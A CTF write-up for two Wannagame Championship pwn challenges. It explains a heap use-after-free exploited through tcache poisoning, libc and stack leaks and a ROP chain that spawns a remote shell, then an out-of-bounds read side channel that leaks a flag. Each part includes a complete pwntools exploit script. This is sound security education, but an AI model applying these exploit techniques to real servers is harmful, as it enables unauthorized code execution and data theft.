# Wannagame Championship ## Talagrem - server > Heap UAF + safe-linking leak → tcache poisoning → arbitrary read libc leak → `environ` stack leak → arbitrary write to stack → ROP to `system("/bin/sh")`. --- ### TL;DR - The program is a Telegram-like messaging application with client-server architecture. Users can register, login, update details, send messages, and delete accounts. - **Bug 1 — UAF in delete_account:** `delete_account` frees `user->details`, `user`, and `Users_list_t` but only nulls the pointer for the current connection. Other connections still hold references to freed chunks → **UAF**. - **Heap leak:** During `register`/`login`, server allocates `0x450` buffer that goes to unsorted bin. `update_details` with 8 bytes overwrites unsorted bin `fd` pointer. `get_details` reads this pointer to leak **heap base**. - **Tcache poisoning:** Using UAF edit on a freed `details` chunk, rewrite the chunk with controlled data. When the chunk is reused, we control the allocation. - **Libc leak:** The bot's heap (first custom heap) contains pointer to libc `main_arena`. Use arbitrary read to read from bot's heap and compute **libc base**. - **Stack leak:** Poison `details` to `libc.sym.environ` and read a stack pointer via `get_details`. - **Arbitrary write to stack:** Poison `details` to a stack address near saved RIP and write a **ROP** chain: `dup2` to redirect stdin/stdout/stderr, then `system("/bin/sh")` → shell. --- ### Challenge overview #### Data Structures ```c // app_structs.h struct User { char username[0x20]; // 32 bytes char password[0x20]; // 32 bytes unsigned int logged_in; // 4 bytes unsigned int vip; // 4 bytes char * details; // 8 bytes (pointer to allocated chunk) }; struct Users_list { Users_list_t * next; // 8 bytes User_t * user; // 8 bytes (pointer to User_t) }; ``` - **Object layout:** Each user has `username[0x20]`, `password[0x20]`, `logged_in`, `vip`, and `details` (pointer to allocated chunk of size `DETAILS_MAX_SIZE + 0x10 = 0x210`). - **Menu:** Register, Login, Update Details, Get Details, Send Message, Delete Account. - **Protections:** NX on, ASLR on, glibc safe-linking. Server-side exploitation. --- #### Exploit #### 1. Heap base leak via unsorted bin fd overwrite ```python register(io, b'hn1106', b'hn1106') login(io, b'hn1106', b'hn1106') update(io, 8, cyclic(8)) get_details(io) io.recvuntil(cyclic(8)) heap = u64(io.recv(8)) - 0x90 ``` **How it works:** ##### Step 1: Register/Login Allocate Temporary Buffer When we send `register`/`login` with size `0x440`, the server processes it: ```c // server.h:77-113 int read_event_from_client(int fd, Event_t * event) { unsigned int magic = 0; if (read_from_client(fd, &magic, 4) || magic != MAGIC) { // ... error handling ... } unsigned int size = 0; if (read_from_client(fd, &size, 4)) { // ... error handling ... } char * buffer = (char *)malloc(size + 0x10); // malloc(0x440 + 0x10) = 0x450 memset(buffer, 0, size + 0x10); if (read_from_client(fd, buffer, size)) { // ... error handling ... free(buffer); return EXIT_FAILURE; } if(buff_to_event(buffer, event)) { // ... error handling ... free(buffer); return EXIT_FAILURE; } free(buffer); // ← Buffer freed here, goes to unsorted bin return 0; } ``` - Server allocates: `malloc(0x440 + 0x10) = 0x450` bytes for the event buffer. - After processing, this buffer is freed and goes to **unsorted bin** (size too large for tcache/fastbin). ##### Step 2: Custom Heap Per Connection The server uses **custom heap** for each connection: - Each connection has its own heap with separate tcache bins and unsorted bin. - The **first custom heap** (bot's heap) contains a pointer to libc `main_arena`. - Subsequent heaps link to previous heaps' unsorted bins (not libc). - Unsorted bin `fd`/`bk` point to heap regions, not libc. **Heap Layout:** ``` Connection 1 (Bot - first heap): [unsorted bin] → points to libc main_arena (ONLY connection to libc) Connection 2 (io): [unsorted bin] → points to Connection 1's unsorted bin (heap-to-heap link) Connection 3 (io3): [unsorted bin] → points to Connection 2's unsorted bin Connection 4 (io2): [unsorted bin] → points to Connection 3's unsorted bin ``` ##### Step 3: Update Overwrites Unsorted Bin FD ```c // server.c:175-184 case CLIENT_UPDATE_DETAILS: if (clients[index].user == NULL) { printf("Unauthorized update details attempt\n"); return EXIT_FAILURE; } if (clients[index].user->details == NULL) clients[index].user->details = (char *)malloc(DETAILS_MAX_SIZE + 0x10); memcpy(clients[index].user->details, event->data, event->size > DETAILS_MAX_SIZE ? DETAILS_MAX_SIZE : event->size); break; ``` ```python update(io, 8, cyclic(8)) # Send 8 bytes ``` **What happens:** - `update_details` allocates a small chunk (8 bytes + metadata). - This chunk might reuse the freed `0x450` buffer from unsorted bin. - We write 8 bytes, which **overwrites the `fd` pointer** of the unsorted bin chunk. - The `fd` now points to a heap region (not libc). **Heap State:** ``` [0x450 chunk in unsorted bin] fd = cyclic(8) (overwritten!) → points to heap region bk = original heap pointer ``` ##### Step 4: Leak via get_details ```c // server.c:185-204 case CLIENT_GET_DETAILS: if (clients[index].user == NULL) { printf("Unauthorized get details attempt\n"); return EXIT_FAILURE; } if (clients[index].user->details == NULL) { printf("No details available for user\n"); return EXIT_FAILURE; } Event_t details_event = {0}; details_event.type = SERVER_EVENT | SERVER_RETURN_DETAILS | (clients[index].user->vip ? VIP_BUFFER : DEF_BUFFER); details_event.size = DETAILS_MAX_SIZE; // 0x200 details_event.data = clients[index].user->details; // Points to our controlled chunk if (send_event_to_client(clients[index].fd, &details_event)) { // ... error handling ... } break; ``` ```python get_details(io) io.recvuntil(cyclic(8)) heap = u64(io.recv(8)) - 0x90 ``` - `get_details` reads `0x200` bytes from `user->details`. - The read includes the overwritten unsorted bin `fd` pointer. - We leak a heap pointer and calculate heap base: `heap = leak - 0x90`. --- #### 2. Create UAF condition with multiple connections ```python io3 = connect(HOST, PORT) register(io3, b'hn1106x', b'hn1106x') login(io3, b'hn1106x', b'hn1106x') update(io3, 8, cyclic(8)) io2 = connect(HOST, PORT) login(io2, b'hn1106x', b'hn1106x') # Same user as io3 delete(io2) # Free but io3 still has reference ``` **UAF Condition:** ##### Login with Multiple Connections ```c // server.c:302-314 int login_user(User_t * user, int index) { Users_list_t * found_user = find_user(user); if (found_user && (found_user->user->logged_in == 0 || found_user->user->vip == 1)) { clients[index].user = found_user->user; // ← Both io2 and io3 point to same User_t clients[index].user->logged_in = 1; return 0; } // ... error handling ... } ``` - `io3` and `io2` both point to the same `User_t` object. ##### Delete Account - UAF Bug ```c // server.c:206-228 case CLIENT_DELETE_ACCOUNT: if (clients[index].user == NULL) { printf("Unauthorized delete account attempt\n"); return EXIT_FAILURE; } Users_list_t * prev = NULL; for (Users_list_t * curr = users; curr != NULL; curr = curr->next) if (curr->user == clients[index].user) { if (prev == NULL) users = curr->next; else prev->next = curr->next; free(curr->user->details); // ← Free details chunk free(curr->user); // ← Free User_t free(curr); // ← Free Users_list_t clients[index].user = NULL; // ← Only nulls pointer for io2! break; } break; ``` - `delete(io2)` frees: - `user->details` chunk - `User_t` structure - `Users_list_t` structure - But `clients[index2].user = NULL` only sets the pointer for `io2`. - `io3` still holds a reference to the freed `User_t` → **UAF**. **Memory State:** ``` Connection io3: clients[index3].user → [User_t] (FREED but still referenced) Connection io2: clients[index2].user = NULL (set after delete) Memory: [User_t] - FREED but io3->user still points here [details] - FREED but io3->user->details still points here ``` --- #### 3. Heap poisoning via UAF edit ```python login(io2, b'hn1106', b'hn1106') delete(io2) # Free user 'hn1106' details chunk # io still has reference to user 'hn1106' (freed) update(io, 8, p64((heap+0xbc0) ^ (heap >> 12))) ``` **Heap Poisoning:** - `io` still has a reference to user 'hn1106' (which was freed). - We use `update_details` on the freed `details` chunk. - We write a mangled heap pointer: `(heap+0xbc0) ^ (heap >> 12)`. **Why XOR with `heap >> 12`?** - Glibc 2.32+ uses **safe-linking** (pointer encryption): `ptr ^ (heap_base >> 12)`. - We need to XOR to bypass this protection when writing to freed chunks. **Heap State:** ``` [details chunk] - FREED but io->user->details still points here [mangled pointer] = (heap+0xbc0) ^ (heap >> 12) ``` --- #### 4. Tcache poisoning → arbitrary read ```python register(io2, b'hn1106y', b'hn1106y') login(io2, b'hn1106y', b'hn1106y') update(io2, 8, cyclic(8)) register(io2, b'hn1106z', b'hn1106z') login(io2, b'hn1106z', b'hn1106z') update(io2, 0x20, cyclic(0x18) + p64(heap+0x8a0), s=0x28) ``` **Arbitrary Read Setup:** - We allocate new users to create heap layout. - For user 'hn1106z', we use `update` with size `0x28` (larger than normal). - We write `p64(heap+0x8a0)` to control where `user->details` points. - Now `io->user->details` points to `heap+0x8a0` (an arbitrary location). **Code:** ```c // server.c:181-183 if (clients[index].user->details == NULL) clients[index].user->details = (char *)malloc(DETAILS_MAX_SIZE + 0x10); memcpy(clients[index].user->details, event->data, event->size > DETAILS_MAX_SIZE ? DETAILS_MAX_SIZE : event->size); ``` When we control `user->details` pointer, `memcpy` writes to our controlled address, and `get_details` reads from it. --- #### 5. Libc leak via bot's heap (heap2) ```python get_details(io) io.recv(0x200) time.sleep(0.2) io.recv(0x10) heap2 = u64(io.recv(8)) - 0x30 # This is bot's heap # Adjust pointer to read from bot's heap update(io2, 0x20, cyclic(0x18) + p64(heap2+0x8a0), s=0x28) get_details(io) io.recv(0x200) time.sleep(0.2) io.recv(0x10) libc.address = u64(io.recv(8)) - 0x0000000000203ac0 ``` **Libc Leak:** ##### Custom Heap Structure - The **first custom heap** (bot's heap) contains a pointer to libc `main_arena`. - Subsequent heaps link to previous heaps' unsorted bins. - `heap2` is actually the **bot's heap** (allocated when server starts with bot_id). ##### Arbitrary Read to Bot's Heap - First `get_details` gives us `heap2` (bot's heap address). - We adjust the `details` pointer to `heap2+0x8a0`. - Second `get_details` reads from bot's heap where `main_arena` pointer is stored. - Offset `0x203ac0` is the offset to `main_arena` in libc. - Calculate `libc.address = main_arena_ptr - 0x203ac0`. **Why bot's heap?** - The bot's heap is the first custom heap created. - It contains the link to libc's `main_arena` (the only connection to libc). - Other heaps only link to each other, not to libc. --- #### 6. Stack leak via environ ```python update(io2, 0x20, cyclic(0x18) + p64(libc.sym.environ), s=0x28) get_details(io) io.recvuntil(p32(0xbeef1337)) io.recv(12) stack = u64(io.recv(8)) ``` **Stack Leak:** - `libc.sym.environ` points to the `environ` variable in libc. - `environ` contains a pointer to the environment variables on the stack. - We poison `details` to point to `libc.sym.environ`. - `get_details` reads from there, giving us a stack pointer. - We parse the response (skip magic `0xbeef1337`, size, event type) and read the stack address. **Response Format:** ``` [MAGIC: 0xbeef1337] (4 bytes) [Size] (4 bytes) [Event Type] (4 bytes) [Stack Pointer] (8 bytes) ← We read this ``` --- #### 7. Arbitrary write to stack → ROP chain ```python # Calculate return address location update(io2, 0x20, cyclic(0x18) + p64(stack-0x2b8), s=0x28) get_details(io) io.recvuntil(p32(0xbeef1337)) io.recv(12) stack2 = u64(io.recv(8)) update(io2, 0x20, cyclic(0x18) + p64(stack2-0xb88), s=0x28) # Build ROP chain rop = ROP(libc) rop.call('dup2', [6, 0]) # Redirect stdin rop.call('dup2', [6, 1]) # Redirect stdout rop.call('dup2', [6, 2]) # Redirect stderr rop.call('system', [next(libc.search(b'/bin/sh\x00'))]) # Write ROP chain to stack update(io, len(rop.chain()), rop.chain(), s=len(rop.chain()) + 8) ``` **ROP Chain:** - We calculate the saved return address location on the stack (by reading and adjusting). - We poison `details` to point to the saved return address. - We build a ROP chain: 1. `dup2(6, 0/1/2)` - Redirect stdin/stdout/stderr to socket fd (6). 2. `system("/bin/sh")` - Execute shell. - We write the ROP chain using `update_details`. - When the function returns, it executes our ROP chain → shell. **Why dup2?** - The program runs on a server, so stdin/stdout/stderr are not connected to our terminal. - We need to redirect them to the socket file descriptor (6) so we can interact with the shell. --- ### Final solve (exploit script) ```python from pwn import * import time HOST = "challenge.cnsc.com.vn" PORT = 30760 libc = context.binary = ELF("libc.so.6") io = connect(HOST, PORT) def send_event_to_server(io, size, vip, data): io.send(p32(0xbeef1337)) # MAGIC io.send(p32(size)) # Event size io.send(p32(vip) + data) # Event type + data def register(io, username, password): username += b'\x00'* (0x20 - len(username)) password += b'\x00'* (0x20 - len(password)) send_event_to_server(io, 0x440, 0x2021, p32(0x100) + username+password + p32(1)*(0x3f8//4)) def login(io, username, password): username += b'\x00'* (0x20 - len(username)) password += b'\x00'* (0x20 - len(password)) send_event_to_server(io, 0x440, 0x2022, p32(0x100) + username+password + p32(1)*(0x3f8//4)) def delete(io): send_event_to_server(io, 0x10, 0x2025, p32(8) + cyclic(0x8)) def update(io, size, data, s=0x10): send_event_to_server(io, s, 0x2024, p32(size) + data) def get_details(io): send_event_to_server(io, 0x440, 0x2023, p32(0x400) + cyclic(0x438)) # Step 1: Heap leak register(io, b'hn1106', b'hn1106') login(io, b'hn1106', b'hn1106') update(io, 8, cyclic(8)) get_details(io) io.recvuntil(cyclic(8)) heap = u64(io.recv(8)) - 0x90 log.info(f"Heap base: {hex(heap)}") time.sleep(2) # Step 2: Create UAF io3 = connect(HOST, PORT) register(io3, b'hn1106x', b'hn1106x') login(io3, b'hn1106x', b'hn1106x') update(io3, 8, cyclic(8)) time.sleep(2) io2 = connect(HOST, PORT) login(io2, b'hn1106x', b'hn1106x') delete(io2) # Free but io3 still has reference time.sleep(2) # Step 3: Heap poisoning login(io2, b'hn1106', b'hn1106') delete(io2) time.sleep(2) update(io, 8, p64((heap+0xbc0) ^ (heap >> 12))) # Poison with mangled pointer # Step 4: Setup for arbitrary read register(io2, b'hn1106y', b'hn1106y') login(io2, b'hn1106y', b'hn1106y') update(io2, 8, cyclic(8)) time.sleep(2) register(io2, b'hn1106z', b'hn1106z') login(io2, b'hn1106z', b'hn1106z') update(io2, 0x20, cyclic(0x18) + p64(heap+0x8a0), s=0x28) # Control details pointer time.sleep(2) # Step 5: Libc leak get_details(io) io.recv(0x200) time.sleep(0.2) io.recv(0x10) heap2 = u64(io.recv(8)) - 0x30 log.info(f"Bot's heap: {hex(heap2)}") update(io2, 0x20, cyclic(0x18) + p64(heap2+0x8a0), s=0x28) time.sleep(2) get_details(io) io.recv(0x200) time.sleep(0.2) io.recv(0x10) libc.address = u64(io.recv(8)) - 0x0000000000203ac0 log.info(f"Libc base: {hex(libc.address)}") # Step 6: Stack leak update(io2, 0x20, cyclic(0x18) + p64(libc.sym.environ), s=0x28) get_details(io) io.recvuntil(p32(0xbeef1337)) io.recv(12) stack = u64(io.recv(8)) log.info(f"Stack: {hex(stack)}") time.sleep(2) # Step 7: Calculate return address location update(io2, 0x20, cyclic(0x18) + p64(stack-0x2b8), s=0x28) get_details(io) io.recvuntil(p32(0xbeef1337)) io.recv(12) stack2 = u64(io.recv(8)) log.info(f"Stack2: {hex(stack2)}") update(io2, 0x20, cyclic(0x18) + p64(stack2-0xb88), s=0x28) time.sleep(2) # Step 8: Write ROP chain rop = ROP(libc) rop.call('dup2', [6, 0]) rop.call('dup2', [6, 1]) rop.call('dup2', [6, 2]) rop.call('system', [next(libc.search(b'/bin/sh\x00'))]) update(io, len(rop.chain()), rop.chain(), s=len(rop.chain()) + 8) # Step 9: Get shell io.interactive() ``` --- ## Dejavu - Writeup > Out-of-bounds read via integer overflow → binary search to leak flag byte by byte. --- ### TL;DR - The program allows reading from `doors[v1] + v2` where `v1` and `v2` are user-controlled. - `doors` array has size 16, but `v1` can be read as `%u` (unsigned int), allowing values up to 2^32 - 1 → **out-of-bounds read**. - The `flag` is stored right after `doors` array, starting at `doors[16]`. - We can use out-of-bounds read to access the flag. - The program prints different messages based on whether the read address is valid: - "Still can't wake up..." if address is not readable - "Run away now!!!!!!" if address is readable - We use **binary search** on `v2` to find the exact address that makes `doors[v1] + v2` point to readable memory (`0x10000` to `0x20000`). - Once we find the correct `v2`, we calculate the flag byte: `flag_byte = (0x10000 - v2) & 0xFF`. - Repeat for each byte until we find the flag terminator (`}` or `\n`). --- ### Challenge Overview #### Vulnerable Code ```c void __noreturn trying() { char buf; // [rsp+Fh] [rbp-11h] BYREF int v1; // [rsp+10h] [rbp-10h] BYREF int v2; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); while ( 1 ) { v1 = 0; v2 = 0; puts("Dejavu dream welcomes you!"); puts("Which door you want to go?"); if ( (unsigned int)__isoc99_scanf("%u", &v1) != 1 ) break; puts("How far you wanna run from this dream?"); if ( (unsigned int)__isoc99_scanf("%u", &v2) != 1 ) { puts("Invalid input"); exit(1); } puts("How can you know this is not a dream?"); if ( syscall(0, 0, (unsigned int)(unsigned __int16)doors[v1] + v2, 16) < 0 ) // read(0, buf, 16) { puts("Still can't wake up..."); read(0, &buf, 1u); } else { puts("Run away now!!!!!!"); } } puts("Invalid input"); exit(1); } ``` We can control `v1` and `v2`. The size of `doors` is 16, but we can read `v1` as `%u` (can reach up to 2^32 - 1), so we can read 16 bytes to `doors[v1] + v2`. The `flag` stands next to `doors`, starting at `doors[16]`. ``` pwndbg> tele 0x555555558060 00:0000│ 0x555555558060 (doors) ◂— 0x3000200010000000 01:0008│ 0x555555558068 (doors+8) ◂— 0x7000600050004000 02:0010│ 0x555555558070 (doors+16) ◂— 0xb000a00090008000 03:0018│ 0x555555558078 (doors+24) ◂— 0xf000e000d000c000 04:0020│ 0x555555558080 (flag) ◂— 'W1{hehe}\n' ``` ``` pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefer-relpaths on) 0x10000 0x20000 rw-p 10000 0 [anon_00010] ``` When we read some bytes at an available address, the program will print "Still can't wake up...", otherwise it will print "Run away now!!!!!!". We can use this to find the flag byte by byte using binary search. **Example:** If `doors[v1]` is `c`, because there is an available address range from `0x10000` to `0x20000`, if `v2 = 0x10000 - c`, then `doors[v1] + v2 = 0x10000` (first available address we can read data from). So our goal is to fix `v1` from `16` to the last byte of the flag and binary search `v2` from `0x10000 - 0x7e` to `0x10000 - 0x20`. ### Final solve (exploit script) ```python from pwn import * context.log_level = "info" HOST = "challenge.cnsc.com.vn" PORT = 31001 if args.LOCAL: io = process('./dejavu') else: io = remote(HOST, PORT) def guess(idx, dist, timeout=0.3): io.sendlineafter(b"Which door you want to go?", str(idx).encode()) io.sendlineafter(b"How far you wanna run from this dream?", str(dist).encode()) io.recvuntil(b"How can you know this is not a dream?\n") io.send(b"X") line = io.recvline(timeout=timeout) if line.startswith(b"Still can't wake up..."): return False if line == b"": io.send(b"A" * 15) io.recvuntil(b"Run away now!!!!!!") return True if b"Still can't wake up..." in line: return False if b"Run away now!!!!!!" in line: return True raise SystemExit("Unexpected response") def leak_word(word_index, max_v2=0xFFF0): v1 = 16 + word_index lo, hi = 0, max_v2 found = False best_T = None while lo <= hi: mid = (lo + hi) // 2 ok = guess(v1, mid) if ok: found = True best_T = mid hi = mid - 1 else: lo = mid + 1 T = best_T w = (0x10000 - T) & 0xFFFF log.info(f"Leaked word: {hex(w)}") return w def main(): leaked = bytearray() max_words = 32 for k in range(max_words): w = leak_word(k) leaked.append(w & 0xff) leaked.append((w >> 8) & 0xff) try: preview = leaked.decode(errors="replace") except: preview = repr(leaked) log.success(f"Leaked up to word {k}: {preview!r}") if ord('}') in leaked: pos = leaked.index(ord('}')) leaked[:] = leaked[:pos+1] break if 0x0a in leaked: pos = leaked.index(0x0a) leaked[:] = leaked[:pos+1] break try: flag = leaked.decode(errors="replace") except: flag = repr(leaked) print("Flag:", repr(flag)) io.close() if __name__ == "__main__": main() ```